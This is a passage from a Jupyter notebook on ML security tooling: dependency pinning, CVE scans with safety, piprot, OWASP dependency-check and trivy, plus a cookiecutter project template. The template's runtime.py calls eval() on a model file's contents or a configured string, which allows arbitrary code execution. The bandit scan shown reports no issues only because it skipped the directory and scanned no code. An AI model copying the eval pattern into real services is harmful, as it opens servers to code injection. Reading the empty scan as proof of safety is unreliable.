" - certifi [required: >=2017.4.17, installed: 2021.10.8]\r\n",
" - charset-normalizer [required: ~=2.0.0, installed: 2.0.12]\r\n",
" - idna [required: >=2.5,<4, installed: 3.3]\r\n",
" - urllib3 [required: >=1.21.1,<1.27, installed: 1.26.5]\r\n",
" - setuptools [required: >=41.0.0, installed: 62.0.0]\r\n",
" - urllib3 [required: ==1.26.5, installed: 1.26.5]\r\n",
"wheel==0.37.1\r\n"
]
}
],
"source": [
"!pipdeptree"
]
},
{
"cell_type": "markdown",
"id": "0c05f66b",
"metadata": {},
"source": [
"#### Identifying shortcomings of pip\n",
"\n",
"If we visualise the output of sklearn itself, we can see that for the dependencies we have a set of ranges as follows:\n",
"\n",
"```\n",
"scikit-learn==0.24.2\n",
" - joblib [required: >=0.11, installed: 0.16.0]\n",
" - numpy [required: >=1.13.3, installed: 1.21.5]\n",
" - scipy [required: >=0.19.1, installed: 1.7.3]\n",
" - numpy [required: >=1.16.5,<1.23.0, installed: 1.21.5]\n",
" - threadpoolctl [required: >=2.0.0, installed: 3.1.0]\n",
"```\n",
"\n",
"This means that if we run an install, we may have 2nd+ level dependencies that may change causing undesired effects."
]
},
{
"cell_type": "markdown",
"id": "36248377",
"metadata": {},
"source": [
"#### Workaround with PIP\n",
"\n",
"We can actually create our makeshift environment freeze by using PIP directly."
]
},
{
"cell_type": "code",
"execution_count": 27,
"id": "a3ea47a4",
"metadata": {},
"outputs": [],
"source": [
"!pip freeze > requirements-freeze.txt"
]
},
{
"cell_type": "code",
"execution_count": 28,
"id": "9820a84b",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"attrs==21.4.0\r\n",
"bandit==1.7.4\r\n",
"bcrypt==3.1.7\r\n",
"certifi==2021.10.8\r\n",
"cffi==1.15.0\r\n",
"charset-normalizer==2.0.12\r\n",
"click==8.0.4\r\n",
"cryptography==3.4.8\r\n",
"docker-compose==1.25.0\r\n",
"dockerpty==0.4.1\r\n"
]
}
],
"source": [
"!head -10 requirements-freeze.txt"
]
},
{
"cell_type": "markdown",
"id": "7a118bbb",
"metadata": {},
"source": [
"#### Solving with Poetry\n",
"\n",
"A better solution is to use poetry to lock the dependencies required into a .lock file that saves a fully reproducible environment."
]
},
{
"cell_type": "code",
"execution_count": 23,
"id": "a86eb803",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"Overwriting pyproject.toml\n"
]
}
],
"source": [
"%%writefile pyproject.toml\n",
"[tool.poetry]\n",
"name = \"fml-security\"\n",
"version = \"0.1.0\"\n",
"description = \"\"\n",
"authors = [\"Alejandro Saucedo \"]\n",
"\n",
"[tool.poetry.dependencies]\n",
"python = \">=3.7,<3.11\"\n",
"\n",
"seldon-core = \"1.13.1\"\n",
"scikit-learn = \"0.24.2\"\n",
"numpy = \"1.21.5\"\n",
"joblib = \"0.16.0\"\n",
"\n",
"[tool.poetry.dev-dependencies]\n",
"pytest = \"^5.2\"\n",
"\n",
"[build-system]\n",
"requires = [\"poetry-core>=1.0.0\"]\n",
"build-backend = \"poetry.core.masonry.api\""
]
},
{
"cell_type": "code",
"execution_count": null,
"id": "358f38ea",
"metadata": {},
"outputs": [],
"source": [
"!poetry install"
]
},
{
"cell_type": "code",
"execution_count": 26,
"id": "51657945",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"[[package]]\r\n",
"name = \"atomicwrites\"\r\n",
"version = \"1.4.0\"\r\n",
"description = \"Atomic file writes.\"\r\n",
"category = \"dev\"\r\n",
"optional = false\r\n",
"python-versions = \">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*\"\r\n",
"\r\n",
"[[package]]\r\n",
"name = \"attrs\"\r\n",
"version = \"21.4.0\"\r\n",
"description = \"Classes Without Boilerplate\"\r\n",
"category = \"main\"\r\n",
"optional = false\r\n",
"python-versions = \">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*\"\r\n",
"\r\n",
"[package.extras]\r\n",
"dev = [\"coverage[toml] (>=5.0.2)\", \"hypothesis\", \"pympler\", \"pytest (>=4.3.0)\", \"six\", \"mypy\", \"pytest-mypy-plugins\", \"zope.interface\", \"furo\", \"sphinx\", \"sphinx-notfound-page\", \"pre-commit\", \"cloudpickle\"]\r\n",
"docs = [\"furo\", \"sphinx\", \"zope.interface\", \"sphinx-notfound-page\"]\r\n",
"tests = [\"coverage[toml] (>=5.0.2)\", \"hypothesis\", \"pympler\", \"pytest (>=4.3.0)\", \"six\", \"mypy\", \"pytest-mypy-plugins\", \"zope.interface\", \"cloudpickle\"]\r\n"
]
}
],
"source": [
"!head -20 poetry.lock"
]
},
{
"cell_type": "markdown",
"id": "fa12f371",
"metadata": {},
"source": [
"#### Scanning Python Versions against CVE Database"
]
},
{
"cell_type": "code",
"execution_count": 37,
"id": "479382e8",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"Requirement already satisfied: safety in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (1.10.3)\n",
"Requirement already satisfied: requests in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from safety) (2.27.1)\n",
"Requirement already satisfied: Click>=6.0 in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from safety) (8.0.4)\n",
"Requirement already satisfied: packaging in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from safety) (21.3)\n",
"Requirement already satisfied: setuptools in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from safety) (62.0.0)\n",
"Requirement already satisfied: dparse>=0.5.1 in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from safety) (0.5.1)\n",
"Requirement already satisfied: importlib-metadata in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from Click>=6.0->safety) (4.11.3)\n",
"Requirement already satisfied: toml in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from dparse>=0.5.1->safety) (0.10.2)\n",
"Requirement already satisfied: pyyaml in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from dparse>=0.5.1->safety) (5.4.1)\n",
"Requirement already satisfied: pyparsing!=3.0.5,>=2.0.2 in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from packaging->safety) (3.0.8)\n",
"Requirement already satisfied: idna<4,>=2.5 in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from requests->safety) (3.3)\n",
"Requirement already satisfied: certifi>=2017.4.17 in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from requests->safety) (2021.10.8)\n",
"Requirement already satisfied: charset-normalizer~=2.0.0 in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from requests->safety) (2.0.12)\n",
"Requirement already satisfied: urllib3<1.27,>=1.21.1 in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from requests->safety) (1.26.5)\n",
"Requirement already satisfied: zipp>=0.5 in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from importlib-metadata->Click>=6.0->safety) (3.8.0)\n",
"Requirement already satisfied: typing-extensions>=3.6.4 in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from importlib-metadata->Click>=6.0->safety) (4.1.1)\n"
]
}
],
"source": [
"!pip install safety"
]
},
{
"cell_type": "code",
"execution_count": 29,
"id": "40b67561",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"\u001b[33mWarning: unpinned requirement 'grpcio' found in requirements-freeze.txt, unable to check.\u001b[0m\n",
"\u001b[33mWarning: unpinned requirement 'more-itertools' found in requirements-freeze.txt, unable to check.\u001b[0m\n",
"\u001b[33mWarning: unpinned requirement 'packaging' found in requirements-freeze.txt, unable to check.\u001b[0m\n",
"\u001b[33mWarning: unpinned requirement 'pluggy' found in requirements-freeze.txt, unable to check.\u001b[0m\n",
"\u001b[33mWarning: unpinned requirement 'py' found in requirements-freeze.txt, unable to check.\u001b[0m\n",
"\u001b[33mWarning: unpinned requirement 'pyparsing' found in requirements-freeze.txt, unable to check.\u001b[0m\n",
"\u001b[33mWarning: unpinned requirement 'pytest' found in requirements-freeze.txt, unable to check.\u001b[0m\n",
"\u001b[33mWarning: unpinned requirement 'wcwidth' found in requirements-freeze.txt, unable to check.\u001b[0m\n",
"+==============================================================================+\n",
"| |\n",
"| /$$$$$$ /$$ |\n",
"| /$$__ $$ | $$ |\n",
"| /$$$$$$$ /$$$$$$ | $$ \\__//$$$$$$ /$$$$$$ /$$ /$$ |\n",
"| /$$_____/ |____ $$| $$$$ /$$__ $$|_ $$_/ | $$ | $$ |\n",
"| | $$$$$$ /$$$$$$$| $$_/ | $$$$$$$$ | $$ | $$ | $$ |\n",
"| \\____ $$ /$$__ $$| $$ | $$_____/ | $$ /$$| $$ | $$ |\n",
"| /$$$$$$$/| $$$$$$$| $$ | $$$$$$$ | $$$$/| $$$$$$$ |\n",
"| |_______/ \\_______/|__/ \\_______/ \\___/ \\____ $$ |\n",
"| /$$ | $$ |\n",
"| | $$$$$$/ |\n",
"| by pyup.io \\______/ |\n",
"| |\n",
"+==============================================================================+\n",
"| REPORT |\n",
"| checked 60 packages, using free DB (updated once a month) |\n",
"+============================+===========+==========================+==========+\n",
"| package | installed | affected | ID |\n",
"+============================+===========+==========================+==========+\n",
"| numpy | 1.21.5 | <1.22.0 | 44717 |\n",
"| numpy | 1.21.5 | <1.22.0 | 44716 |\n",
"| numpy | 1.21.5 | <1.22.2 | 44715 |\n",
"+==============================================================================+\u001b[0m\n"
]
}
],
"source": [
"!safety check -r requirements-freeze.txt"
]
},
{
"cell_type": "markdown",
"id": "846b26e9",
"metadata": {},
"source": [
"#### Identifying Old Dependencies\n",
"\n",
"Ensuring dependencies are up to date continuously is important. There are older dependencies like `piprot` but also good tools like `dependeabot`."
]
},
{
"cell_type": "code",
"execution_count": 41,
"id": "3aed0528",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"Collecting piprot\n",
" Downloading piprot-0.9.11.tar.gz (8.5 kB)\n",
" Preparing metadata (setup.py) ... \u001b[?25ldone\n",
"\u001b[?25hRequirement already satisfied: requests in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from piprot) (2.27.1)\n",
"Collecting requests-futures\n",
" Downloading requests_futures-1.0.0-py2.py3-none-any.whl (7.4 kB)\n",
"Requirement already satisfied: six in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from piprot) (1.16.0)\n",
"Requirement already satisfied: certifi>=2017.4.17 in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from requests->piprot) (2021.10.8)\n",
"Requirement already satisfied: idna<4,>=2.5 in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from requests->piprot) (3.3)\n",
"Requirement already satisfied: charset-normalizer~=2.0.0 in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from requests->piprot) (2.0.12)\n",
"Requirement already satisfied: urllib3<1.27,>=1.21.1 in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from requests->piprot) (1.26.5)\n",
"Building wheels for collected packages: piprot\n",
" Building wheel for piprot (setup.py) ... \u001b[?25ldone\n",
"\u001b[?25h Created wheel for piprot: filename=piprot-0.9.11-py2.py3-none-any.whl size=7939 sha256=91e4561d9861e29b801b7a3bf433a281180b5d438f0507726b529f2ce9007643\n",
" Stored in directory: /home/alejandro/.cache/pip/wheels/4f/9c/3e/63acac74a6d463ff5f08b0d51c0891b7a33e591c0a1dc3bb59\n",
"Successfully built piprot\n",
"Installing collected packages: requests-futures, piprot\n",
"Successfully installed piprot-0.9.11 requests-futures-1.0.0\n"
]
}
],
"source": [
"!pip install piprot"
]
},
{
"cell_type": "code",
"execution_count": 45,
"id": "f0545b7c",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"attrs (21.4.0) is up to date\n",
"bcrypt (3.1.7) is 925 days out of date. Latest is 3.2.0\n",
"certifi (2021.10.8) is up to date\n",
"cffi (1.15.0) is up to date\n",
"charset-normalizer (2.0.12) is up to date\n",
"click (8.0.4) is 41 days out of date. Latest is 8.1.2\n",
"cryptography (3.4.8) is 203 days out of date. Latest is 36.0.2\n",
"docker-compose (1.25.0) is 538 days out of date. Latest is 1.29.2\n",
"dockerpty (0.4.1) is up to date\n",
"docopt (0.6.2) is up to date\n",
"Flask (1.1.2) is 726 days out of date. Latest is 2.1.1\n",
"Flask-Cors (3.0.10) is up to date\n",
"Flask-OpenTracing (1.1.0) is up to date\n",
"flatbuffers (1.12) is 423 days out of date. Latest is 2.0\n",
"grpcio (1.44.0) is 34 days out of date. Latest is 1.45.0\n",
"grpcio-opentracing (1.1.4) is up to date\n",
"grpcio-reflection (1.34.1) is 434 days out of date. Latest is 1.45.0\n",
"gunicorn (20.1.0) is up to date\n",
"idna (3.3) is up to date\n",
"importlib-metadata (4.11.3) is up to date\n",
"itsdangerous (1.1.0) is 1244 days out of date. Latest is 2.1.2\n",
"jaeger-client (4.4.0) is 250 days out of date. Latest is 4.8.0\n",
"Jinja2 (2.11.3) is 418 days out of date. Latest is 3.1.1\n",
"joblib (0.16.0) is 462 days out of date. Latest is 1.1.0\n",
"jsonschema (3.2.0) is 785 days out of date. Latest is 4.4.0\n",
"MarkupSafe (1.1.1) is 1115 days out of date. Latest is 2.1.1\n",
"numpy (1.21.5) is 77 days out of date. Latest is 1.22.3\n",
"opentracing (2.4.0) is up to date\n",
"paramiko (2.7.1) is 829 days out of date. Latest is 2.10.3\n",
"pipdeptree (2.2.1) is up to date\n",
"prometheus-client (0.8.0) is 683 days out of date. Latest is 0.14.1\n",
"protobuf (3.20.0) is up to date\n",
"pycparser (2.21) is up to date\n",
"PyNaCl (1.3.0) is 1199 days out of date. Latest is 1.5.0\n",
"pyrsistent (0.18.1) is up to date\n",
"PyYAML (5.4.1) is 265 days out of date. Latest is 6.0\n",
"requests (2.27.1) is up to date\n",
"scikit-learn (0.24.2) is 241 days out of date. Latest is 1.0.2\n",
"scipy (1.7.3) is 68 days out of date. Latest is 1.8.0\n",
"seldon-core (1.13.1) is up to date\n",
"six (1.16.0) is up to date\n",
"texttable (1.6.2) is 545 days out of date. Latest is 1.6.4\n",
"threadloop (1.0.2) is up to date\n",
"threadpoolctl (3.1.0) is up to date\n",
"thrift (0.16.0) is up to date\n",
"tornado (6.1) is up to date\n",
"typing_extensions (4.1.1) is up to date\n",
"urllib3 (1.26.5) is 293 days out of date. Latest is 1.26.9\n",
"Werkzeug (2.1.1) is up to date\n",
"zipp (3.8.0) is up to date\n",
"Your requirements are 11798 days out of date\n"
]
}
],
"source": [
"!piprot requirements-freeze.txt"
]
},
{
"cell_type": "code",
"execution_count": 35,
"id": "669e97ca",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"[INFO] Checking for updates\n",
"[INFO] Skipping NVD check since last check was within 4 hours.\n",
"[INFO] Skipping RetireJS update since last update was within 24 hours.\n",
"[INFO] Check for updates complete (29 ms)\n",
"[INFO] \n",
"\n",
"Dependency-Check is an open source tool performing a best effort analysis of 3rd party dependencies; false positives and false negatives may exist in the analysis performed by the tool. Use of the tool and the reporting provided constitutes acceptance for use in an AS IS condition, and there are NO warranties, implied or otherwise, with regard to the analysis or its use. Any use of the tool and the reporting provided is at the user’s risk. In no event shall the copyright holder or OWASP be held liable for any damages whatsoever arising out of or in connection with the use of this tool, the analysis performed, or the resulting report.\n",
"\n",
"\n",
" About ODC: https://jeremylong.github.io/DependencyCheck/general/internals.html\n",
" False Positives: https://jeremylong.github.io/DependencyCheck/general/suppression.html\n",
"\n",
"πŸ’– Sponsor: https://github.com/sponsors/jeremylong\n",
"\n",
"\n",
"[INFO] Analysis Started\n",
"[INFO] Finished File Name Analyzer (0 seconds)\n",
"[INFO] Finished Dependency Merging Analyzer (0 seconds)\n",
"[INFO] Finished Version Filter Analyzer (0 seconds)\n",
"[INFO] Finished Hint Analyzer (0 seconds)\n",
"[INFO] Created CPE Index (3 seconds)\n",
"[INFO] Finished CPE Analyzer (3 seconds)\n",
"[INFO] Finished False Positive Analyzer (0 seconds)\n",
"[INFO] Finished NVD CVE Analyzer (0 seconds)\n",
"[INFO] Finished Sonatype OSS Index Analyzer (0 seconds)\n",
"[INFO] Finished Vulnerability Suppression Analyzer (0 seconds)\n",
"[INFO] Finished Dependency Bundling Analyzer (0 seconds)\n",
"[INFO] Analysis Complete (3 seconds)\n",
"[INFO] Writing report to: /report/dependency-check-report.xml\n",
"[INFO] Writing report to: /report/dependency-check-report.html\n",
"[INFO] Writing report to: /report/dependency-check-report.json\n",
"[INFO] Writing report to: /report/dependency-check-report.csv\n",
"[INFO] Writing report to: /report/dependency-check-report.sarif\n",
"[INFO] Writing report to: /report/dependency-check-junit.xml\n"
]
}
],
"source": [
"%%bash\n",
"mkdir -p owasp/deps owasp/data/cache owasp/report\n",
"docker run --rm \\\n",
" -e user=$USER \\\n",
" -u $(id -u ${USER}):$(id -g ${USER}) \\\n",
" --volume $(pwd):/src:z \\\n",
" --volume $(pwd)/owasp/data:/usr/share/dependency-check/data:z \\\n",
" --volume $(pwd)/owasp/report:/report:z \\\n",
" owasp/dependency-check:latest \\\n",
" --scan /src \\\n",
" --format \"ALL\" \\\n",
" --project \"dependency-check scan: $(pwd)\" \\\n",
" --out /report"
]
},
{
"cell_type": "code",
"execution_count": 31,
"id": "f1e54ed7",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"dependency-check-junit.xml dependency-check-report.json\r\n",
"dependency-check-report.csv dependency-check-report.sarif\r\n",
"dependency-check-report.html dependency-check-report.xml\r\n"
]
}
],
"source": [
"!ls owasp/report"
]
},
{
"cell_type": "code",
"execution_count": 36,
"id": "373ec40c",
"metadata": {
"scrolled": true
},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"\"Project\",\"ScanDate\",\"DependencyName\",\"DependencyPath\",\"Description\",\"License\",\"Md5\",\"Sha1\",\"Identifiers\",\"CPE\",\"CVE\",\"CWE\",\"Vulnerability\",\"Source\",\"CVSSv2_Severity\",\"CVSSv2_Score\",\"CVSSv2\",\"CVSSv3_BaseSeverity\",\"CVSSv3_BaseScore\",\"CVSSv3\",\"CPE Confidence\",\"Evidence Count\"\r\n"
]
}
],
"source": [
"!cat owasp/report/dependency-check-report.csv"
]
},
{
"cell_type": "markdown",
"id": "7e1907c6",
"metadata": {},
"source": [
"## 6 - Container Scan"
]
},
{
"cell_type": "code",
"execution_count": 1,
"id": "edc6ecde",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"2022-04-11T19:29:06.350+0100\t\u001b[34mINFO\u001b[0m\tDetected OS: redhat\n",
"2022-04-11T19:29:06.350+0100\t\u001b[34mINFO\u001b[0m\tDetecting RHEL/CentOS vulnerabilities...\n",
"2022-04-11T19:29:06.404+0100\t\u001b[34mINFO\u001b[0m\tNumber of language-specific files: 1\n",
"2022-04-11T19:29:06.404+0100\t\u001b[34mINFO\u001b[0m\tDetecting python-pkg vulnerabilities...\n",
"\n",
"seldonio/sklearnserver:1.14.0-dev (redhat 8.5)\n",
"==============================================\n",
"Total: 0 (CRITICAL: 0)\n",
"\n",
"\n",
"Python (python-pkg)\n",
"===================\n",
"Total: 0 (CRITICAL: 0)\n",
"\n"
]
}
],
"source": [
"!trivy image --severity CRITICAL seldonio/sklearnserver:1.14.0-dev"
]
},
{
"cell_type": "markdown",
"id": "7f46e4a1",
"metadata": {},
"source": [
"## Honourable Mentions"
]
},
{
"cell_type": "markdown",
"id": "75b435d0",
"metadata": {},
"source": [
"![](images/ml-mentions.jpg)"
]
},
{
"cell_type": "markdown",
"id": "d4a36a28",
"metadata": {},
"source": [
"Above are a set of honorable mentions that are not covered in this notebook, but that would still be relevant to check out. You can follow the resources at the top for other links to relevant areas for deeper dives."
]
},
{
"cell_type": "markdown",
"id": "64644927",
"metadata": {},
"source": [
"#### Exploring the OWASP Top 10 for ML\n",
"\n",
"![](images/omlsp.jpg)"
]
},
{
"cell_type": "markdown",
"id": "beea50ae",
"metadata": {},
"source": [
"## Safe ML Project Template"
]
},
{
"cell_type": "code",
"execution_count": 11,
"id": "7857d3b7",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"Writing sml-security.yml\n"
]
}
],
"source": [
"%%writefile sml-security.yml\n",
"default_context:\n",
" project_name: \"Example Project\""
]
},
{
"cell_type": "code",
"execution_count": 13,
"id": "57676df5",
"metadata": {},
"outputs": [],
"source": [
"!cookiecutter https://github.com/EthicalML/sml-security --no-input --config-file sml-security.yml"
]
},
{
"cell_type": "code",
"execution_count": 15,
"id": "d55024f8",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"\u001b[01;34mexample_project/\u001b[00m\r\n",
"β”œβ”€β”€ Dockerfile\r\n",
"β”œβ”€β”€ LICENSE\r\n",
"β”œβ”€β”€ Makefile\r\n",
"β”œβ”€β”€ README.md\r\n",
"β”œβ”€β”€ \u001b[01;34mdocs\u001b[00m\r\n",
"β”‚Β Β  β”œβ”€β”€ Makefile\r\n",
"β”‚Β Β  β”œβ”€β”€ commands.rst\r\n",
"β”‚Β Β  β”œβ”€β”€ conf.py\r\n",
"β”‚Β Β  β”œβ”€β”€ \u001b[01;34mexamples\u001b[00m\r\n",
"β”‚Β Β  β”‚Β Β  └── model-settings.json\r\n",
"β”‚Β Β  β”œβ”€β”€ getting-started.rst\r\n",
"β”‚Β Β  β”œβ”€β”€ index.rst\r\n",
"β”‚Β Β  └── make.bat\r\n",
"β”œβ”€β”€ \u001b[01;34mexample_project\u001b[00m\r\n",
"β”‚Β Β  β”œβ”€β”€ __init__.py\r\n",
"β”‚Β Β  β”œβ”€β”€ common.py\r\n",
"β”‚Β Β  β”œβ”€β”€ runtime.py\r\n",
"β”‚Β Β  └── version.py\r\n",
"β”œβ”€β”€ pyproject.toml\r\n",
"β”œβ”€β”€ requirements-dev.txt\r\n",
"β”œβ”€β”€ setup.py\r\n",
"└── \u001b[01;34mtests\u001b[00m\r\n",
" β”œβ”€β”€ conftest.py\r\n",
" └── test_runtime.py\r\n",
"\r\n",
"4 directories, 20 files\r\n"
]
}
],
"source": [
"!tree example_project/"
]
},
{
"cell_type": "code",
"execution_count": 26,
"id": "3b343d54",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"[tool.poetry]\r\n",
"name = \"Example Project\"\r\n",
"version = \"0.1.0\"\r\n",
"description = \"A short description of the project.\"\r\n",
"authors = [\"MyGithubUsername\"]\r\n",
"license = \"MIT\"\r\n",
"\r\n",
"[tool.poetry.dependencies]\r\n",
"python = \"^3.8\"\r\n",
"mlserver = \"1.1.0.dev6\"\r\n",
"fastapi = \"^0.78\"\r\n",
"\r\n",
"[tool.poetry.dev-dependencies]\r\n",
"Sphinx = \"3.2.1\"\r\n",
"coverage = \"4.5.4\"\r\n",
"flake8 = \"3.9.0\"\r\n",
"\r\n",
"safety = \"1.10.3\"\r\n",
"piprot = \"0.9.11\"\r\n",
"bandit = \"1.7.4\"\r\n",
"\r\n",
"\r\n",
"[build-system]\r\n",
"requires = [\"poetry-core>=1.0.0\"]\r\n",
"build-backend = \"poetry.core.masonry.api\"\r\n"
]
}
],
"source": [
"!cat example_project/pyproject.toml"
]
},
{
"cell_type": "code",
"execution_count": 27,
"id": "0aaa8c69",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"import numpy as np\r\n",
"from mlserver.model import MLModel\r\n",
"from mlserver.settings import ModelSettings\r\n",
"from fastapi import status\r\n",
"from mlserver.utils import get_model_uri\r\n",
"from mlserver.errors import InvalidModelURI, MLServerError\r\n",
"from mlserver.types import (\r\n",
" InferenceRequest,\r\n",
" InferenceResponse,\r\n",
")\r\n",
"from mlserver.codecs import NumpyCodec, NumpyRequestCodec\r\n",
"from example_project.common import ExampleProjectSettings\r\n",
"\r\n",
"\r\n",
"class ExampleProject(MLModel):\r\n",
" \"\"\"Runtime class for specific Huggingface models\"\"\"\r\n",
"\r\n",
" def __init__(self, settings: ModelSettings):\r\n",
"\r\n",
" self._extra_settings = ExampleProjectSettings(**settings.parameters.extra) # type: ignore\r\n",
"\r\n",
" super().__init__(settings)\r\n",
"\r\n",
" async def load(self) -> bool:\r\n",
" # Simple showcase reading a lambda as string either from file or \r\n",
" try:\r\n",
" model_uri = await get_model_uri(self._settings)\r\n",
" with open(model_uri, \"r\") as f:\r\n",
" self._model = eval(f.read())\r\n",
" except (InvalidModelURI, IsADirectoryError):\r\n",
" self._model = eval(self._extra_settings.lambda_value)\r\n",
"\r\n",
" if not callable(self._model):\r\n",
" raise MLServerError(\"Invalid lambda value provided\", status.HTTP_500_INTERNAL_SERVER_ERROR)\r\n",
"\r\n",
" self.ready = True\r\n",
" return self.ready\r\n",
"\r\n",
" async def predict(self, payload: InferenceRequest) -> InferenceResponse:\r\n",
" \"\"\"\r\n",
" Prediction request\r\n",
" \"\"\"\r\n",
" # For more advanced request decoding see MLServer codecs documentation\r\n",
" model_input = NumpyRequestCodec.decode(payload)\r\n",
"\r\n",
" model_output = self._model(model_input)\r\n",
" model_output_np = np.array(model_output)\r\n",
"\r\n",
" encoded_output = NumpyCodec.encode(\"predict\", model_output_np)\r\n",
"\r\n",
" return InferenceResponse(\r\n",
" model_name=self.name,\r\n",
" model_version=self.version,\r\n",
" outputs=[encoded_output],\r\n",
" )\r\n"
]
}
],
"source": [
"!cat example_project/example_project/runtime.py"
]
},
{
"cell_type": "code",
"execution_count": 22,
"id": "e4f71112",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"make: Entering directory '/home/alejandro/Programming/fml-security/example_project'\r\n",
"mlserver start docs/examples/. &\r\n",
"make: Leaving directory '/home/alejandro/Programming/fml-security/example_project'\r\n"
]
}
],
"source": [
"!make -C example_project/ local-run"
]
},
{
"cell_type": "code",
"execution_count": 25,
"id": "97816347",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"make: Entering directory '/home/alejandro/Programming/fml-security/example_project'\r\n",
"curl http://localhost:8080/v2/models/test-model/infer \\\r\n",
"\t-H \"Content-Type: application/json\" \\\r\n",
"\t-d '{\"inputs\":[{\"name\":\"test_input\",\"shape\":[3],\"datatype\":\"INT32\",\"data\":[1,2,3]}]}'\r\n",
"{\"model_name\":\"test-model\",\"model_version\":null,\"id\":\"894a189e-cce3-4329-aa71-495d5b61621e\",\"parameters\":null,\"outputs\":[{\"name\":\"predict\",\"shape\":[],\"datatype\":\"INT64\",\"parameters\":null,\"data\":[6]}]}make: Leaving directory '/home/alejandro/Programming/fml-security/example_project'\r\n"
]
}
],
"source": [
"!make -C example_project/ local-test-request"
]
},
{
"cell_type": "code",
"execution_count": 26,
"id": "b5400387",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"{\"model_name\":\"test-model\",\"model_version\":null,\"id\":\"1aceb79b-15da-48fd-b17b-b3354cd068c0\",\"parameters\":null,\"outputs\":[{\"name\":\"predict\",\"shape\":[],\"datatype\":\"INT64\",\"parameters\":null,\"data\":[6]}]}"
]
}
],
"source": [
"!curl http://localhost:8080/v2/models/test-model/infer \\\n",
"\t-H \"Content-Type: application/json\" \\\n",
"\t-d '{\"inputs\":[{\"name\":\"test_input\",\"shape\":[3],\"datatype\":\"INT32\",\"data\":[1,2,3]}]}'"
]
},
{
"cell_type": "code",
"execution_count": 28,
"id": "76142f05",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"make: Entering directory '/home/alejandro/Programming/fml-security/example_project'\n",
"bandit .\n",
"[main]\tINFO\tprofile include tests: None\n",
"[main]\tINFO\tprofile exclude tests: None\n",
"[main]\tINFO\tcli include tests: None\n",
"[main]\tINFO\tcli exclude tests: None\n",
"[main]\tINFO\trunning on Python 3.7.10\n",
"[manager]\tWARNING\tSkipping directory (.), use -r flag to scan contents\n",
"\u001b[95mRun started:2022-06-04 08:24:43.129814\u001b[0m\n",
"\u001b[95m\n",
"Test results:\u001b[0m\n",
"\tNo issues identified.\n",
"\u001b[95m\n",
"Code scanned:\u001b[0m\n",
"\tTotal lines of code: 0\n",
"\tTotal lines skipped (#nosec): 0\n",
"\u001b[95m\n",
"Run metrics:\u001b[0m\n",
"\tTotal issues (by severity):\n",
"\t\tUndefined: 0\n",
"\t\tLow: 0\n",
"\t\tMedium: 0\n",
"\t\tHigh: 0\n",
"\tTotal issues (by confidence):\n",
"\t\tUndefined: 0\n",
"\t\tLow: 0\n",
"\t\tMedium: 0\n",
"\t\tHigh: 0\n",
"\u001b[95mFiles skipped (0):\u001b[0m\n",
"make: Leaving directory '/home/alejandro/Programming/fml-security/example_project'\n"
]
}
],
"source": [
"!make -C example_project/ security-local-code"
]
},
{
"cell_type": "code",
"execution_count": 29,
"id": "bb10de3b",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"make: Entering directory '/home/alejandro/Programming/fml-security/example_project'\n",
"poetry export --without-hashes -f requirements.txt | safety check --full-report --stdin\n",
"\u001b[33mWarning: unpinned requirement 'NoCompatiblePythonVersionFound' found in , unable to check.\u001b[0m\n",
"+==============================================================================+\n",
"| |\n",
"| /$$$$$$ /$$ |\n",
"| /$$__ $$ | $$ |\n",
"| /$$$$$$$ /$$$$$$ | $$ \\__//$$$$$$ /$$$$$$ /$$ /$$ |\n",
